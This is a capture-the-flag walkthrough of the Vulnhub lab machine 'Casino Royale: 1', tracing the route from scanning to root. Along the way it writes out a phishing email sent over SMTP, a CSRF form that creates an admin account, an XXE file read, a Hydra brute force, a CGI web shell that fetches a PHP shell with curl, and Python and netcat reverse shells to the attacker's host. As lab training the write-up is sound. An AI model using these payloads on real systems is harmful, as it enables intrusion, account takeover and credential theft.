Vulnhub: Casino Royale 1

This is a writeup of the recently released Casino Royale: 1 machine from Vulnhub

Vulnhub: Casino Royale 1

Info

Name: Casino Royale: 1
Operating System: Linux
Url: https://www.vulnhub.com/entry/casino-royale-1,287/
Release: 23 Feb 2019
Difficulty: Intermediate
Objective: Flag is /root/flag/flag.sh

Enumeration

As usual we start with a nmap scan:

nmap -sC -sV -oA nmap/initial 192.168.1.109
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-09 20:02 CET
Nmap scan report for 192.168.1.109
Host is up (0.000071s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
25/tcp   open  smtp    Postfix smtpd
|_smtp-commands: casino.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, 
| ssl-cert: Subject: commonName=casino
| Subject Alternative Name: DNS:casino
| Not valid before: 2018-11-17T20:14:11
|_Not valid after:  2028-11-14T20:14:11
|_ssl-date: TLS randomness does not represent time
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 2 disallowed entries 
|_/cards /kboard
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
8081/tcp open  http    PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 00:0C:29:7C:5D:64 (VMware)

We can see four open ports.
21: FTP
25: SMTP
80: HTTP
8081: HTTP

Anonymous login is not enabled on the FTP server, so let's start enumerating the web server, since that's usually a good way to get an initial foothold.

Visiting the website we're greeted with a video being played on repeat. Not that interesting.

Let's use Nikto to enumerate the webserver:

nikto -host 192.168.1.109
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.109
+ Target Hostname:    192.168.1.109
+ Target Port:        80
+ Start Time:         2019-03-02 13:55:41 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.25 (Debian)
+ Server leaks inodes via ETags, header found with file /, fields: 0xdc 0x58272762faf27
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS                                                                                    
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type                                                    
+ Entry '/cards/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/kboard/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 2 entries which should be manually viewed.
+ Multiple index files found: /index.html, /index.php
+ Allowed HTTP Methods: OPTIONS, HEAD, GET, POST
+ /kboard/: KBoard Forum 0.3.0 and prior have a security problem in forum_edit_post.php, forum_post.php and forum_reply.php                                                                                  
+ OSVDB-3092: /cards/: This might be interesting...
+ OSVDB-3092: /includes/: This might be interesting...
+ OSVDB-3092: /install/: This might be interesting...
+ Uncommon header 'x-permitted-cross-domain-policies' found, with contents: none
+ Uncommon header 'x-ob_mode' found, with contents: 1
+ Uncommon header 'x-robots-tag' found, with contents: noindex, nofollow
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ 8348 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time:           2019-03-02 13:56:01 (GMT1) (20 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

We can see two entries in the robots.txt file, but the directories listed here does not reveal anything interesting.

However, two things from the Nikto scan are interesting:
Multiple index files found: /index.html, /index.php
+ OSVDB-3092: /install/: This might be interesting...

Visiting http://192.168.1.109/index.php reveals a poker tournament page.

And visiting /install/ reveals that the websystem is running PokerMax Pro Poker League Software v0.13.

Doing a quick searchsploit for Pokermax reveals a vulnerability in version 0.13.

searchsploit PokerMax
----------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                           |  Path
                                                                                         | (/usr/share/exploitdb/)
----------------------------------------------------------------------------------------- ----------------------------------------
PokerMax Poker League 0.13 - Insecure Cookie Handling                                    | exploits/php/webapps/6766.txt
----------------------------------------------------------------------------------------- ----------------------------------------

Exploiting this vulnerability will basically log us in as an administrator.

After enumerating the website I found more useful information when clicking on the "Manage Players" button.

User "Valenka" has the following information on her profile:

Project Manager of various client projects on: /vip-client-portfolios/?uri=blog

We are casino-royale.local -- Update your hosts file!

After updating /etc/hosts we can visit the new URL.

Here we find a blog running on the Snowfox CMS platform.

In one of the first posts we find something really interesting:

If you've been referred and are interested in our "assistance", please send us an email. 
Send an email to our CMS admin: valenka@casino-royale.local 
Make sure to reference a known customer or at least someone we know in the subject line, otherwise the email will be deleted without being looked at. 
Valenka checks her email often as well as manages this site. 
Include any links to relevant information such as references, services, referrals, etc.

Okay, so Valenka checks her mail often and apperantly clicks any link we send her as long as we reference a known customer? Can we exploit this somehow?

A quick research into Snowfox CMS reveals that there's a CSRF vulnerability in version 1.0 that we can use to create an admin user.
I couldn't find a way to verify what version is running, so I decided to just give it a try.

Let's try and use the SMTP server we found in the beginning to send a mail to Valenka with our "exploit code".

At this point I was stuck for a while. I couldn't for the life of me get a response after sending the mail.
But I finally got a hit when referencing Obanno as the known customer.

nc casino-royale.local 25
220 Mail Server - NO UNAUTHORIZED ACCESS ALLOWED Pls.
helo OSCP
250 casino.localdomain
mail from: root
250 2.1.0 Ok
rcpt to: valenka
250 2.1.5 Ok
data
354 End data with .
subject: obanno
Free money and treasures awaits! Click the link below!
http://192.168.1.110/do_we_get_a_hit

.
250 2.0.0 Ok: queued as B279A22EB
python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
192.168.1.109 - - [02/Mar/2019 14:47:26] code 404, message File not found                                                                       
192.168.1.109 - - [02/Mar/2019 14:47:26] "GET /do_we_get_a_hit HTTP/1.1" 404 -

At this point I used the code from exploit.db, modified it a bit and sent Valenka a link to my webserver and .html file containing the "exploit code".

<html>                                                                                                                                                                                                            
   <body>                                                                                                                                                                                                          
     <form action="http://casino-royale.local/vip-client-portfolios/?uri=admin/accounts/create" method="POST">                                                                                                     
       <input type="hidden" name="emailAddress" value="tingdal@owned.you" />                                                                                                                                       
       <input type="hidden" name="verifiedEmail" value="verified" />                                                                                                                                               
       <input type="hidden" name="username" value="0wned" />                                                                                                                                                       
       <input type="hidden" name="newPassword" value="passw0rd1234" />                                                                                                                                             
       <input type="hidden" name="confirmPassword" value="passw0rd1234" />                                                                                                                                         
       <input type="hidden" name="userGroups[]" value="34" />                                                                                                                                                      
       <input type="hidden" name="userGroups[]" value="33" />                                                                                                                                                      
       <input type="hidden" name="memo" value="CSRFmemo" />                                                                                                                                                        
       <input type="hidden" name="status" value="1" />                                                                                                                                                             
       <input type="hidden" name="formAction" value="submit" />                    
       <input type="submit" value="Submit form" />
     </form>                                                               
   </body>                                                                 
 </html> 

I eventually got a hit and I could log in as tingdal@owned.you which now has admin privileges! Whoop!

Enumerating the blog as admin I found another URL on Le's profile.

I primarily deal with the numbers, along with our most Elite customers with access to /ultra-access-view/main.php

Going to this page we see the following:

Looking at the source code we find something interesting yet again:

<!--FYI this is taking POST requests without a front end for the time being..
Try using curl to POST Xml commands or Xml script files herE!   

PHP code below...
 
    libxml_disable_entity_loader (false); 
    
    $xmlfile = file_get_contents('php://input'); 
    
    $dom = new DOMDocument(); 
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom); 
    $user = $creds->customer; 
    $pass = $creds->password; 
    echo "Welcome $user !";

Welcome  ! 


</body>


<!--also pls update the password for the custom ftp acct once the front end is finished..since it's easy -->

</html>
-->

We don't have a username for the custom FTP account yet, but what about the part about Xml commands?
Looking at the source code we can see that it is vulnerable to a XML External Entity (XXE) attack.

Let's see if we can read /etc/passwd:

It turns out we can! Awesome!
Going through the response we find the username of the custom FTP account: ftpUserULTRA:x:1002:1002::/var/www/html/ultra-access-view:/bin/bash

Now that we have the username, let's try and bruteforce the FTP password.
I tried several different wordlist before I found one that actually gave me the correct password:

hydra -l ftpUserULTRA -P /usr/share/wordlists/fasttrack.txt 192.168.1.109 ftp
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-03-02 15:07:37
[DATA] max 16 tasks per 1 server, overall 16 tasks, 222 login tries (l:1/p:222), ~14 tries per task
[DATA] attacking ftp://192.168.1.109:21/
[21][ftp] host: 192.168.1.109   login: ftpUserULTRA   password: bankbank
1 of 1 target successfully completed, 1 valid password found

Awesome!

Initial Foothold

After several attempts to upload my own shell through the FTP server I found out that there's some form of whitelisting going on.
Only specific file types are allowed. One of them is .cgi

After uploading a .cgi web shell I had code execution on the server.

I then used this shell to download a reverse php web shell that we will eventually use to connect back to me:
/perlcmd.cgi?curl http://192.168.1.110/rev.php --output /var/www/html/ultra-access-view/shellz.php

Now that the shell is placed on the server we can chmod and execute it and get a connection back from the server.

nc -lvnp 8081
listening on [any] 8081 ...
connect to [192.168.1.110] from (UNKNOWN) [192.168.1.109] 34298
Linux casino 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux
 09:21:33 up 1 day, 21:57,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Finally we have a low privilege shell on the server!

Privilege Escalation

After upgrading my shell and doing some more information gathering on the server, I found a config file used by Valenka, containing a password.

cat config.inc.php 
self::$cfg['dbDebugMode'] = false;
self::$cfg['dbServer'] = 'localhost';
self::$cfg['dbUser'] = 'valenka';
self::$cfg['dbPass'] = '11archives11!';
self::$cfg['dbName'] = 'vip';
self::$cfg['dbTablePrefix'] = 'sfc_';
self::$cfg['activeTheme'] = 'default';
self::$cfg['defaultLanguage'] = 'en-us';
self::$cfg['cookiePrefix'] = 'sfc_';
self::$cfg['systemSalt'] = '7af76f2c2b0ddba579c42442ca264c45';
self::$cfg['domain'] = 'casino-royale.local';
self::$cfg['webFolder'] = '/vip-client-portfolios/';


Maybe she reuses her passwords?

www-data@casino:/var/www/html/vip-client-portfolios$ su valenka
Password:
valenka@casino:/var/www/html/vip-client-portfolios$

Yes, she does!

After a while though, I realised that this wouldn't help me at all.
So, let's go back to the beginning where we found a web server listening on port 8081.

Visiting this web page reveals a button which in turn calls a php file: collect.php
But where is this file? I didn't find it when going through all the files in /var/www/html/

locate collect.php
/opt/casino-royale/collect.php

Listing all the files in this directory:

ls -la
total 48
drwxrwxr-x 2 root le       4096 Mar  1 18:00 .
drwxr-xr-x 4 root root     4096 Jan 17 18:17 ..
-rwxrw---- 1 le   www-data  210 Mar  2 09:32 casino-data-collection.py
-rw------- 1 le   le         40 Feb 22 19:02 closer2root.txt
-rw-r--r-- 1 root root       79 Feb 20 14:54 collect.php
-rwxr-xr-x 1 root root      174 Feb 21 21:48 index.html
-rwsr-sr-x 1 root root     8696 Feb 20 14:26 mi6_detect_test
-rwxrwxr-x 1 le   le         54 Feb 20 16:56 php-web-start.sh
-rwxr-x--- 1 le   le        484 Mar  1 18:00 run.sh
-rwxrwxr-x 1 le   le         71 Feb 20 15:21 user-data.log

We can't write to collect.php since it's owned by root but we can read it.

www-data@casino:/opt/casino-royale$ cat collect.php 
<?php
$out = shell_exec('python casino-data-collection.py');
echo "$out";

?>

So, collect.php is just executing casino-data-collection.py which we have write access to.

cat casino-data-collection.py 
#!/usr/bin/python
# Collect logs and user data to sell for marketing research

file = open("/opt/casino-royale//user-data.log","r")
print file.read()

#ftpl = open("/var/log/vsftpd.log","r")
#print ftpl.read()

And the web server is ran by the user Le.

www-data@casino:/opt/casino-royale$ cat php-web-start.sh 
#!/bin/bash
cd /opt/casino-royale;php -S 0.0.0.0:8081

So by changing casino-data-collection.py we can escalate our privilege to that of user Le.

After adding a reverse shell to casino-data-collection.py we can simply execute the collect.php file through our web browser and get a reverse shell as Le.

cat casino-data-collection.py 
#!/usr/bin/python
# Collect logs and user data to sell for marketing research

file = open("/opt/casino-royale//user-data.log","r")
print file.read()

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.110",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

#ftpl = open("/var/log/vsftpd.log","r")
#print ftpl.read()

Visiting http://casino-royale.local:8081/collect.php gives us a shell as Le as expected.

nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.110] from (UNKNOWN) [192.168.1.109] 36762
le@casino:/opt/casino-royale$

Looking at the new files we have access to we can see that the setuid binary mi6_detect_test is probably just executing run.sh

le@casino:/opt/casino-royale$ ./mi6_detect_test
--------------------
Active Internet connections (servers and established)
tcp        0      0 192.168.1.109:34108     192.168.1.110:8081      CLOSE_WAIT  36000/sh            
--------------------
 10:02:34 up 1 day, 22:39,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
--------------------
le          502  0.0  0.2  11176  1492 ?        Ss   Feb28   0:00 /bin/bash /opt/casino-royale/php-web-start.sh
root        506  0.0  0.2  11176  1904 ?        Ss   Feb28   0:00 /bin/bash /root/ctf-scripts/act.sh
www-data  36014  0.0  0.8  32176  6176 ?        S    Mar01   0:00 python -c import pty;pty.spawn("/bin/bash")
www-data  36015  0.0  0.3  18220  2608 pts/0    Ss   Mar01   0:00 /bin/bash
valenka   37848  0.0  0.5  20992  4184 pts/0    S+   Mar01   0:00 bash
www-data  56543  0.0  0.9  32176  6860 ?        S    09:23   0:00 python -c import pty;pty.spawn("/bin/bash")
www-data  56544  0.0  0.4  18196  3188 pts/1    Ss+  09:23   0:00 /bin/bash
le        57210  0.0  0.6  20816  4656 pts/2    Ss   09:55   0:00 /bin/bash
root      57347  0.0  0.0   4288   724 pts/2    S+   10:02   0:00 sh -c /bin/bash run.sh
root      57348  0.0  0.3  11172  2916 pts/2    S+   10:02   0:00 /bin/bash run.sh
--------------------
le          502      1  0 Feb28 ?        00:00:00 /bin/bash /opt/casino-royale/php-web-start.sh
root        506      1  0 Feb28 ?        00:00:00 /bin/bash /root/ctf-scripts/act.sh
www-data  36014  36004  0 Mar01 ?        00:00:00 python -c import pty;pty.spawn("/bin/bash")
www-data  36015  36014  0 Mar01 pts/0    00:00:00 /bin/bash
valenka   37848  37842  0 Mar01 pts/0    00:00:00 bash
www-data  56543  56523  0 09:23 ?        00:00:00 python -c import pty;pty.spawn("/bin/bash")
www-data  56544  56543  0 09:23 pts/1    00:00:00 /bin/bash
le        57210  57209  0 09:55 pts/2    00:00:00 /bin/bash
root      57347  57346  0 10:02 pts/2    00:00:00 sh -c /bin/bash run.sh
root      57348  57347  0 10:02 pts/2    00:00:00 /bin/bash run.sh
le@casino:/opt/casino-royale$ cat run.sh
#!/bin/bash
# The devs refuse to create an in-house security app until they get their back-pay
# ...they've always been entitled nerds...I'll just create one myself!
echo "--------------------"
netstat -antp |grep sh
echo "--------------------"
w
echo "--------------------"
ps -aux |grep -v grep |grep bash
echo "--------------------"
ps -ef | grep -v grep |grep bash

... And we have write access! Getting root should be pretty easy now!

Let's just add another reverse shell in run.sh, execute mi6_detect_test and see if we get root.

le@casino:/opt/casino-royale$ cat run.sh
#!/bin/bash
# The devs refuse to create an in-house security app until they get their back-pay
# ...they've always been entitled nerds...I'll just create one myself!
echo "--------------------"
netstat -antp |grep sh
echo "--------------------"
w
echo "--------------------"
ps -aux |grep -v grep |grep bash
echo "--------------------"
ps -ef | grep -v grep |grep bash

# Can I haz r00t?
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.110 9001 >/tmp/f

# Adding more in teh future....
root@kali:~/CasinoRoyale# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.1.110] from (UNKNOWN) [192.168.1.109] 55830
# whoami
root
# id
uid=0(root) gid=1000(le) groups=1000(le),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),
108(netdev),112(lpadmin),116(scanner)
# cd /root
# ls
ctf-scripts
Desktop
Downloads
flag
Maildir
node_modules
package-lock.json
Pictures
# cd flag
# ls
files
flag.sh
index.php
# ./flag.sh
--------------------------------------------
--------------------------------------------
Go here:   http://casino-royale.local:8082
--------------------------------------------
--------------------------------------------

Further Reading

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

https://en.wikipedia.org/wiki/Phishing